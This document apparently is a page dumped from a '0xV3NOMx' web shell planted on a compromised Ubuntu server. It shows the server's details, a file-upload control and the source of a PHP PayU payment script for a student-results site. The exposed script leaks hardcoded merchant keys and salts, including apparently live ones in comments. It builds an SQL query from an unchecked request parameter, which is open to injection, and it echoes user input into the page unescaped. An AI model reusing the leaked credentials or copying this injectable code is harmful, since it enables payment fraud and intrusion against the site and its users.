0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.15.12.133


Current Path : /proc/thread-self/root/var/www/html/demo/results/
Upload File :
Current File : //proc/thread-self/root/var/www/html/demo/results/payment_gateway_old.php

<?php
// Merchant key here as provided by Payu for testing
$MERCHANT_KEY = "ZTFe5ftm";
// Merchant key here as provided by Payu actual
//$MERCHANT_KEY = "ERtIJd";
// Merchant Salt as provided by Payu for testing
$SALT = "MQmZaJLHtO";
// Merchant Salt as provided by Payu
//$SALT = "6nUQgBjF";

//for test mode
$PAYU_BASE_URL = "https://test.payu.in";
//for LIVE mode
//$PAYU_BASE_URL = "https://secure.payu.in";


require_once(dirname(__FILE__)."/cconfig.php");
ini_set("display_errors","On");
error_reporting(E_ALL ^ E_NOTICE);
require_once("cconfig.php");
$aobj_context=CConfig::CreateNewDbContext();
$app_no=$_REQUEST['productinfo'];
$get_data="SELECT  ac.FTOTAL,s.FREGNO,s.FNAME,s.FEMAIL,s.FCONTACT_NO
					FROM res_stud ac  INNER JOIN student s ON s.FREGNO=ac.FREGNO
					WHERE ac.APPNO='{$app_no}'";
$lobj_get_data = $aobj_context->mobj_db->getRow($get_data);	
if(empty($lobj_get_data['FTOTAL']))
{
	echo "<span style='color:red;line-height: 168px;
				margin: 30%;;font-size:22px;'>Total Paying Amount is zero.Please select once again</span>";die();
	 
}
$_REQUEST['amount']=$lobj_get_data['FTOTAL'];
$_REQUEST['firstname']=$lobj_get_data['FNAME'];
$_REQUEST['email']=$lobj_get_data['FEMAIL'];
$_REQUEST['phone']=$lobj_get_data['FCONTACT_NO'];

$action = '';
$posted = array();
if(!empty($_REQUEST)) {
    //print_r($_POST);
  foreach($_REQUEST as $key => $value) {    
    $posted[$key] = $value; 
	
  }
}
 $path = (@$_SERVER["HTTPS"] == "on") ? "https://" : "http://";
    $path .=$_SERVER["SERVER_NAME"].':81'. dirname($_SERVER["PHP_SELF"]);        
 
$retutn_url=$path."/payment_gate_way_responce.php";	
$formError = 0;
 
if(empty($posted['txnid'])) {
  // Generate random transaction id
  $txnid = substr(hash('sha256', mt_rand() . microtime()), 0, 20);
} else {
  $txnid = $posted['txnid'];
}
$posted['surl']=$retutn_url;
$posted['furl']=$retutn_url;
$posted['key']=$MERCHANT_KEY;
$posted['txnid']=$txnid;
$posted['service_provider']="payu_paisa";
$hash = '';

// Hash Sequence
$hashSequence = "key|txnid|amount|productinfo|firstname|email|udf1|udf2|udf3|udf4|udf5|udf6|udf7|udf8|udf9|udf10";
 
if(empty($posted['hash']) && sizeof($posted) > 0) 
{
	  if(
			  empty($posted['key'])
			  || empty($posted['txnid'])
			  || empty($posted['amount'])
			  || empty($posted['firstname'])
			 // || empty($posted['email'])
			  //|| empty($posted['phone'])
			  || empty($posted['productinfo'])
			  || empty($posted['surl'])
			  || empty($posted['furl'])
			  || empty($posted['service_provider'])
	  ) 
		{
			$formError = 0;
		} 
		else 
		{
			//$posted['productinfo'] = json_encode(json_decode('[{"name":"tutionfee","description":"","value":"500","isRequired":"false"},{"name":"developmentfee","description":"monthly tution fee","value":"1500","isRequired":"false"}]'));

			$hashVarsSeq = explode('|', $hashSequence);
			$hash_string = '';	
 
			foreach($hashVarsSeq as $hash_var) {
			  $hash_string .= isset($posted[$hash_var]) ? $posted[$hash_var] : '';
			  $hash_string .= '|';
			}
 
			$hash_string .= $SALT;


			$hash = strtolower(hash('sha512', $hash_string));
			
			$action = $PAYU_BASE_URL . '/_payment';
		}
} 
elseif(!empty($posted['hash']))
{
	$hash = $posted['hash'];
	$action = $PAYU_BASE_URL . '/_payment';
}
 
 
?>
<html>
  <head>
	  <script>
		var hash = '<?php echo $hash ?>';
		function submitPayuForm() 
		{
		  if(hash == '') 
		  {
			return;
		  }
		  var payuForm = document.forms.payuForm;
		  payuForm.submit();
		}
	  </script>
  </head>
  <body onload="submitPayuForm()">
		<br/>
		<?php if($formError) { ?>
			<span style="color:red">Please fill all mandatory fields.</span><br/><br/>
		<?php } ?>
		<h1 style='color:red;margin:0 auto;text-align:center;'>Please wait, we are redirecting to Payment Gateway</h1>
		<form style='display:none;' action="<?php echo $action; ?>" method="post" name="payuForm">
			<input type="hidden" name="key" value="<?php echo $MERCHANT_KEY ?>" />
			<input type="hidden" name="hash" value="<?php echo $hash ?>"/>
			<input type="hidden" name="txnid" value="<?php echo $txnid ?>" />
			<table>
				<tr>
					<td><b>Mandatory Parameters</b></td>
				</tr>
				<tr>
					<td>Amount: </td>
					<td><input name="amount" value="<?php echo (empty($posted['amount'])) ? '' : $posted['amount'] ?>" /></td>
					<td>First Name: </td>
					<td><input name="firstname" id="firstname" value="<?php echo (empty($posted['firstname'])) ? '' : $posted['firstname']; ?>" /></td>
				</tr>
				<tr>
					<td>Email: </td>
					<td><input name="email" id="email" value="<?php echo (empty($posted['email'])) ? '' : $posted['email']; ?>" /></td>
					<td>Phone: </td>
					<td><input name="phone" value="<?php echo (empty($posted['phone'])) ? '' : $posted['phone']; ?>" /></td>
				</tr>
				<tr>
					<td>Product Info: </td>
					<td colspan="3"><textarea name="productinfo"><?php echo (empty($posted['productinfo'])) ? '' : $posted['productinfo'] ?></textarea></td>
				</tr>
				<tr>
					<td>Success URI: </td>
					<td colspan="3"><input name="surl" value="<?php echo (empty($posted['surl'])) ? '' : $posted['surl'] ?>" size="64" /></td>
				</tr>
				<tr>
					<td>Failure URI: </td>
					<td colspan="3"><input name="furl" value="<?php echo (empty($posted['furl'])) ? '' : $posted['furl'] ?>" size="64" /></td>
				</tr>

				<tr>
					<td colspan="3"><input type="hidden" name="service_provider" value="payu_paisa" size="64" /></td>
				</tr>

				<tr>
					<td><b>Optional Parameters</b></td>
				</tr>
				<tr>
					<td>Last Name: </td>
					<td><input name="lastname" id="lastname" value="<?php echo (empty($posted['lastname'])) ? '' : $posted['lastname']; ?>" /></td>
					<td>Cancel URI: </td>
					<td><input name="curl" value="" /></td>
				</tr>
				<tr>
					<td>Address1: </td>
					<td><input name="address1" value="<?php echo (empty($posted['address1'])) ? '' : $posted['address1']; ?>" /></td>
					<td>Address2: </td>
					<td><input name="address2" value="<?php echo (empty($posted['address2'])) ? '' : $posted['address2']; ?>" /></td>
				</tr>
				<tr>
					<td>City: </td>
					<td><input name="city" value="<?php echo (empty($posted['city'])) ? '' : $posted['city']; ?>" /></td>
					<td>State: </td>
					<td><input name="state" value="<?php echo (empty($posted['state'])) ? '' : $posted['state']; ?>" /></td>
				</tr>
				<tr>
					<td>Country: </td>
					<td><input name="country" value="<?php echo (empty($posted['country'])) ? '' : $posted['country']; ?>" /></td>
					<td>Zipcode: </td>
					<td><input name="zipcode" value="<?php echo (empty($posted['zipcode'])) ? '' : $posted['zipcode']; ?>" /></td>
				</tr>
				<tr>
					<td>UDF1: </td>
					<td><input name="udf1" value="<?php echo (empty($posted['udf1'])) ? '' : $posted['udf1']; ?>" /></td>
					<td>UDF2: </td>
					<td><input name="udf2" value="<?php echo (empty($posted['udf2'])) ? '' : $posted['udf2']; ?>" /></td>
				</tr>
				<tr>
					<td>UDF3: </td>
					<td><input name="udf3" value="<?php echo (empty($posted['udf3'])) ? '' : $posted['udf3']; ?>" /></td>
					<td>UDF4: </td>
					<td><input name="udf4" value="<?php echo (empty($posted['udf4'])) ? '' : $posted['udf4']; ?>" /></td>
				</tr>
				<tr>
					<td>UDF5: </td>
					<td><input name="udf5" value="<?php echo (empty($posted['udf5'])) ? '' : $posted['udf5']; ?>" /></td>
					<td>PG: </td>
					<td><input name="pg" value="<?php echo (empty($posted['pg'])) ? '' : $posted['pg']; ?>" /></td>
				</tr>
				<tr>
					<?php if(!$hash) { ?>
					<td colspan="4"><input type="submit" value="Submit" /></td>
					<?php } ?>
				</tr>
			</table>
		</form>
	</body>
</html>